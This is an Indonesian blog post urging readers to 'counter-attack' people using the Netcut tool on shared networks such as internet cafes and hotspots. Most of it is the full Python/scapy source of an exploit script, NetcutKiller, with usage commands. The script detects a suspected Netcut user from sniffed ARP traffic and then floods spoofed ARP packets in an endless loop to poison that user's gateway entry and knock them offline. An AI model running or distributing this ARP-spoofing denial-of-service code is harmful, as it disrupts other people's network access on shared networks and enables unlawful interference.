Serang balik pengguna Netcut ~ Inspiration-blog's

Koneksi putus bukan menjadi sebuah dilema lagi, melainkan bisa dikarenakan beberapa sebab. Terutama di hotspot gratisan atau di warnet-warnet, kalau koneksi kita lemot dan tidak bisa akses internet dengan tidak normal, mungkin salah satunya karena ada pengguna warnet lainnya yang menggunakan NETCUT.

Agar tidak bete karena loading lama, serang balik saja pengguna NETCUT tersebut.

Attack Netcut

Langkahnya adalah:

Harus sudah terdapat python compiler di komputer
Download toolsnya DISINI
Jalankan tools tersebut dengan compile: python filenameexploit.py [ethernet] [macaddress], contoh: python netcutkiller.py eth0 A1:B2:C3:D4:E5:F6

Code exploitnya adalah sebagai berikut:

#!/usr/bin/env python
#Exploit Title: Netcut Denial of Service Vulnerability
#Author: MaYaSeVeN
#Greetz: Inj3ct0r 1337day Exploit DataBase (1337day.com)
#Blog: http://mayaseven.blogspot.com
#PoC: Video  http://www.youtube.com/user/mayaseven
#Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png
#Version: Netcut 2
#Software Link: http://www.mediafire.com/?jiiyq2wcpp41266
#Tested on: Windows Xp, Windows 7
#Greetz :  ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma

from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf
import commands,os,sys

#gw_mac = commands.getoutput("arp -i %s | grep %s" % (conf.iface,conf.iface)).split()[2]
gw_ip  = commands.getoutput("ip route list | grep default").split()[2]
    
def protect(gw_ip,gw_mac):
    os.popen("arp -s %s %s" %(gw_ip,gw_mac))
    print "Protected himself"
    
def detect():
        ans = sniff(filter='arp',timeout=7)
        target=[]
        for r in ans.res:
            target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%")) 
        return target

def preattack(gw_ip):
    num = []
    count = 0
    target = 0
    temp = 0
    print "Detecting..."
    d = detect()
    for i in range(len(d)):
        if d[i].split()[0] == "255.255.255.255":
            num.append(d.count(d[i])) 
            if d.count(d[i]) > count:
                count = d.count(d[i])
                target = i
        if d[i].split()[0] == gw_ip:
            temp += 1       
    if len(d) < 7:
        print "[-] No one use Netcut or try again"
        exit()
    if len(num)*7 < temp:
        num[:] = []
        count = 0
        result = float(temp)/len(d)*100
        for j in range(len(d)):
            if d[i].split()[0] == gw_ip:
                num.append(d.count(d[j]))
                if d.count(d[i]) > count:
                    count = d.count(d[i])
                    target = i
            num.reverse()
            result = float(temp)/len(d)*100
        print target 
    else:
        num.reverse()
        result = float(num[0]+temp)/len(d)*100
    
    print "There is a possibility that " + str(result) + "%"
    if result>= 50:
        target_mac = d[target].split()[1]
        target_ip = d[target].split()[2]
        print "[+]Detected, Netcut using by IP %s MAC %s" %(target_ip,target_mac)
        attack(target_mac,target_ip,gw_ip)    
    else:
        print "[-] No one use Netcut or try again"

def attack(target_mac,target_ip,gw_ip):
    print "[+]Counter Attack !!!"
    e = Ether(dst="FF:FF:FF:FF:FF:FF")
    while 1:
        a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
        p = e/a/Padding("\x00"*18)
        sendp(p,verbose=0)
        a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
        p1 = e/a1/Padding("\x00"*18)
        sendp(p1,verbose=0)
        
if __name__ == '__main__':
    os.system("clear")
    print   "###################################################"
    print    " __  __    __     __    _____   __      __  _   _"
    print    "|  \/  |   \ \   / /   / ____|  \ \    / / | \ | |"
    print    "| \  / | __ \ \_/ /_ _| (___   __\ \  / /__|  \| |"
    print    "| |\/| |/ _\ \   / _\ |\___ \ / _ \ \/ / _ \ . \ |"
    print    "| |  | | (_| || | (_| |____) |  __/\  /  __/ |\  |"
    print    "|_|  |_|\__,_||_|\__,_|_____/ \___| \/ \___|_| \_|"
    print   " "
    print   "###################################################"
    print   ""
    print   "http://mayaseven.blogspot.com"
    print   ""
    if len(sys.argv) == 2 or len(sys.argv) == 3:
        if len(sys.argv) == 2:
            conf.iface=sys.argv[1]
            preattack(gw_ip)
        if len(sys.argv) == 3:
            conf.iface=sys.argv[1]
            gw_mac = sys.argv[2]
            protect(gw_ip,gw_mac)
            preattack(gw_ip)
    else:
        print '''Mode:   
1.)Attack only
Usage: NetcutKiller <interface>
e.g. NetcutKiller.py wlan0
        
2.)Attack with protect himself
Usage: NetcutKiller <interface> <mac_gateway> 
e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF 
''' 


# 1337day.com [2012-01-04]

Untuk lebih detailnya, simak video berikut:

Oke all, selamat mencoba dan semoga berhasil

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Tuesday, 15 May 2012